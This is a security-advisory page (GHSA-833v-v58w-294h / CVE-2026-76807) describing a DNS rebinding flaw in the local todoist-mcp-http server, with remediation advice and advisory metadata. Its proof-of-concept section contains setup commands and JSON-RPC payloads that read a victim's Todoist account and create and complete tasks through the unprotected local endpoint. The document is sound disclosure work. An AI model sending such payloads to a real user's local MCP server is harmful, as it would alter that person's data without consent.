GHSA-833V-V58W-294H
Vulnerability from github – Published: 2026-11-19 20:38 – Updated: 2026-11-19 20:38The self-hosted todoist-mcp-http server accepts browser-origin MCP requests with attacker-controlled Host and Origin headers. A malicious website can use DNS rebinding to route its own origin to a victim's local 127.0.0.1 MCP server, then invoke Todoist MCP tools without a caller credential.
This affects github.com/Doist/todoist-mcp at commit d2903e0d945d2a559d71c091337ad6380511e62f, package version 10.3.1, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is todoist-mcp-http.
The documented HTTP server mode runs all MCP tools with the operator's TODOIST_API_KEY and binds to loopback by default:
TODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http
src/main-http.ts:28-30 sets the HTTP bind host and port:
const PORT = Number.parseInt(process.env.PORT || '3000', 10)
const HOST = process.env.HOST || '127.0.0.1'
const LISTEN_HOST = normalizeListenHost(HOST)
src/main-http.ts:88-99 dispatches POST /mcp to StreamableHTTPServerTransport without validating Host or Origin:
app.post(
'/mcp',
requireValidTodoistToken({ type: 'static', apiKey: todoistApiKey, baseUrl }),
async (req: Request, res: Response) => {
const transport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined,
})
const server = getMcpServer({ todoistApiKey, baseUrl })
await server.connect(transport)
await transport.handleRequest(req, res, req.body)
},
)
src/middleware/require-valid-todoist-token.ts:105-117 validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller:
const valid = await getValidation()
if (valid) {
next()
return
}
src/mcp-server.ts:215-285 registers Todoist read and write tools against the server-side Todoist API client, including add-tasks, complete-tasks, update-tasks, delete-object, comments, reminders, labels, filters, goals, and assignments.
Proof of concept
Start the upstream local HTTP server with an operator-owned Todoist test account:
git clone https://github.com/Doist/todoist-mcp.git
cd todoist-mcp
git checkout d2903e0d945d2a559d71c091337ad6380511e62f
npm ci --ignore-scripts
npm run build
export TODOIST_API_KEY='<Todoist test account API token>'
PORT=8082 HOST=127.0.0.1 node dist/main-http.js
The server prints:
Todoist MCP HTTP Server started on 127.0.0.1:8082
MCP endpoint: http://127.0.0.1:8082/mcp
From a browser page using DNS rebinding, route the attacker origin to 127.0.0.1:8082 and send MCP JSON-RPC requests to POST /mcp.
First enumerate tools. The rebound browser session can list Todoist write tools such as add-tasks and complete-tasks.
Call user-info:
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "user-info",
"arguments": {}
}
}
Observed result: the response returns the Todoist account tied to the server-held TODOIST_API_KEY.
Create a disposable task:
{
"jsonrpc": "2.0",
"id": 4,
"method": "tools/call",
"params": {
"name": "add-tasks",
"arguments": {
"tasks": [
{
"content": "DNS REBINDING DEMO - attacker-created task",
"description": "Created through browser-origin DNS rebinding against local todoist-mcp-http.",
"priority": "p1",
"dueString": "today"
}
]
}
}
}
Observed result: Todoist creates the task and the MCP response returns the new task ID.
Complete the same task:
{
"jsonrpc": "2.0",
"id": 5,
"method": "tools/call",
"params": {
"name": "complete-tasks",
"arguments": {
"ids": [
"<RETURNED_TASK_ID>"
]
}
}
}
Observed result: the MCP response returns successCount: 1, and the Todoist UI shows the same task completed.
Impact
A public website can operate a victim's local todoist-mcp-http server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured TODOIST_API_KEY.
The demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including task updates, task rescheduling, project and section changes, comments, reminders, filters, labels, goals, assignments, and object deletion.
This violates the browser-origin boundary. A user can run the MCP server only on loopback and still become reachable from an unrelated public website because DNS rebinding preserves the attacker's Host and Origin while routing the TCP connection to 127.0.0.1.
Why this is a vulnerability
- The default HTTP bind target is loopback, which users reasonably treat as local-only.
- DNS rebinding makes loopback HTTP reachable from a public website unless the server validates
HostandOrigin. - The MCP route does not require a per-request caller secret.
- The middleware validates the server's Todoist backend token, not the browser caller.
- Tool execution uses the server-held
TODOIST_API_KEYto mutate Todoist state.
Remediation
Add strict Host validation before MCP dispatch. For local deployments, accept only explicit loopback hostnames such as 127.0.0.1, localhost, [::1], and any operator-configured trusted names.
Reject browser requests with missing or untrusted Origin values before they reach StreamableHTTPServerTransport.
Require a per-run local bearer token or equivalent caller secret for HTTP MCP mode, including loopback deployments. Host and Origin validation reduce DNS-rebinding exposure, but they are not caller authentication.
Enable DNS rebinding protection in the MCP SDK HTTP transport if available, and pass explicit allowed host and origin lists. Keep stdio as the safest default local transport.
Reporter
Avishai Gonen - Pluto Security
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.3.2"
},
"package": {
"ecosystem": "npm",
"name": "@doist/todoist-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76807"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T20:38:35Z",
"nvd_published_at": "2026-11-18T20:19:13Z",
"severity": "CRITICAL"
},
"details": "The self-hosted `todoist-mcp-http` server accepts browser-origin MCP requests with attacker-controlled `Host` and `Origin` headers. A malicious website can use DNS rebinding to route its own origin to a victim\u0027s local `127.0.0.1` MCP server, then invoke Todoist MCP tools without a caller credential.\n\nThis affects `github.com/Doist/todoist-mcp` at commit `d2903e0d945d2a559d71c091337ad6380511e62f`, package version `10.3.1`, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is `todoist-mcp-http`.\n\nThe documented HTTP server mode runs all MCP tools with the operator\u0027s `TODOIST_API_KEY` and binds to loopback by default:\n\n```bash\nTODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http\n```\n\n`src/main-http.ts:28-30` sets the HTTP bind host and port:\n\n```ts\nconst PORT = Number.parseInt(process.env.PORT || \u00273000\u0027, 10)\nconst HOST = process.env.HOST || \u0027127.0.0.1\u0027\nconst LISTEN_HOST = normalizeListenHost(HOST)\n```\n\n`src/main-http.ts:88-99` dispatches `POST /mcp` to `StreamableHTTPServerTransport` without validating `Host` or `Origin`:\n\n```ts\napp.post(\n \u0027/mcp\u0027,\n requireValidTodoistToken({ type: \u0027static\u0027, apiKey: todoistApiKey, baseUrl }),\n async (req: Request, res: Response) =\u003e {\n const transport = new StreamableHTTPServerTransport({\n sessionIdGenerator: undefined,\n })\n\n const server = getMcpServer({ todoistApiKey, baseUrl })\n await server.connect(transport)\n await transport.handleRequest(req, res, req.body)\n },\n)\n```\n\n`src/middleware/require-valid-todoist-token.ts:105-117` validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller:\n\n```ts\nconst valid = await getValidation()\n\nif (valid) {\n next()\n return\n}\n```\n\n`src/mcp-server.ts:215-285` registers Todoist read and write tools against the server-side Todoist API client, including `add-tasks`, `complete-tasks`, `update-tasks`, `delete-object`, comments, reminders, labels, filters, goals, and assignments.\n\n## Proof of concept\n\nStart the upstream local HTTP server with an operator-owned Todoist test account:\n\n```bash\ngit clone https://github.com/Doist/todoist-mcp.git\ncd todoist-mcp\ngit checkout d2903e0d945d2a559d71c091337ad6380511e62f\nnpm ci --ignore-scripts\nnpm run build\n\nexport TODOIST_API_KEY=\u0027\u003cTodoist test account API token\u003e\u0027\nPORT=8082 HOST=127.0.0.1 node dist/main-http.js\n```\n\nThe server prints:\n\n```text\nTodoist MCP HTTP Server started on 127.0.0.1:8082\nMCP endpoint: http://127.0.0.1:8082/mcp\n```\n\nFrom a browser page using DNS rebinding, route the attacker origin to `127.0.0.1:8082` and send MCP JSON-RPC requests to `POST /mcp`.\n\nFirst enumerate tools. The rebound browser session can list Todoist write tools such as `add-tasks` and `complete-tasks`.\n\nCall `user-info`:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 3,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"user-info\",\n \"arguments\": {}\n }\n}\n```\n\nObserved result: the response returns the Todoist account tied to the server-held `TODOIST_API_KEY`.\n\nCreate a disposable task:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 4,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"add-tasks\",\n \"arguments\": {\n \"tasks\": [\n {\n \"content\": \"DNS REBINDING DEMO - attacker-created task\",\n \"description\": \"Created through browser-origin DNS rebinding against local todoist-mcp-http.\",\n \"priority\": \"p1\",\n \"dueString\": \"today\"\n }\n ]\n }\n }\n}\n```\n\nObserved result: Todoist creates the task and the MCP response returns the new task ID.\n\nComplete the same task:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 5,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"complete-tasks\",\n \"arguments\": {\n \"ids\": [\n \"\u003cRETURNED_TASK_ID\u003e\"\n ]\n }\n }\n}\n```\n\nObserved result: the MCP response returns `successCount: 1`, and the Todoist UI shows the same task completed.\n\n[demo video](https://drive.google.com/file/d/1zfgYQS-vbi1zc8N2JayShtwBCZbN-doG/view)\n\n## Impact\n\nA public website can operate a victim\u0027s local `todoist-mcp-http` server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured `TODOIST_API_KEY`.\n\nThe demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including task updates, task rescheduling, project and section changes, comments, reminders, filters, labels, goals, assignments, and object deletion.\n\nThis violates the browser-origin boundary. A user can run the MCP server only on loopback and still become reachable from an unrelated public website because DNS rebinding preserves the attacker\u0027s `Host` and `Origin` while routing the TCP connection to `127.0.0.1`.\n\n## Why this is a vulnerability\n\n- The default HTTP bind target is loopback, which users reasonably treat as local-only.\n- DNS rebinding makes loopback HTTP reachable from a public website unless the server validates `Host` and `Origin`.\n- The MCP route does not require a per-request caller secret.\n- The middleware validates the server\u0027s Todoist backend token, not the browser caller.\n- Tool execution uses the server-held `TODOIST_API_KEY` to mutate Todoist state.\n\n## Remediation\n\nAdd strict `Host` validation before MCP dispatch. For local deployments, accept only explicit loopback hostnames such as `127.0.0.1`, `localhost`, `[::1]`, and any operator-configured trusted names.\n\nReject browser requests with missing or untrusted `Origin` values before they reach `StreamableHTTPServerTransport`.\n\nRequire a per-run local bearer token or equivalent caller secret for HTTP MCP mode, including loopback deployments. Host and Origin validation reduce DNS-rebinding exposure, but they are not caller authentication.\n\nEnable DNS rebinding protection in the MCP SDK HTTP transport if available, and pass explicit allowed host and origin lists. Keep stdio as the safest default local transport.\n\n## Reporter\n\nAvishai Gonen - Pluto Security",
"id": "GHSA-833v-v58w-294h",
"modified": "2026-11-19T20:38:35Z",
"published": "2026-11-19T20:38:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Doist/todoist-mcp/security/advisories/GHSA-833v-v58w-294h"
},
{
"type": "WEB",
"url": "https://github.com/todoist/todoist-mcp/security/advisories/GHSA-833v-v58w-294h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76807"
},
{
"type": "WEB",
"url": "https://github.com/todoist/todoist-mcp/pull/516"
},
{
"type": "WEB",
"url": "https://github.com/todoist/todoist-mcp/commit/245bf29cf5dbd8272e2aa896ad38557f91f8a16a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Doist/todoist-mcp"
},
{
"type": "WEB",
"url": "https://github.com/todoist/todoist-mcp/releases/tag/v10.3.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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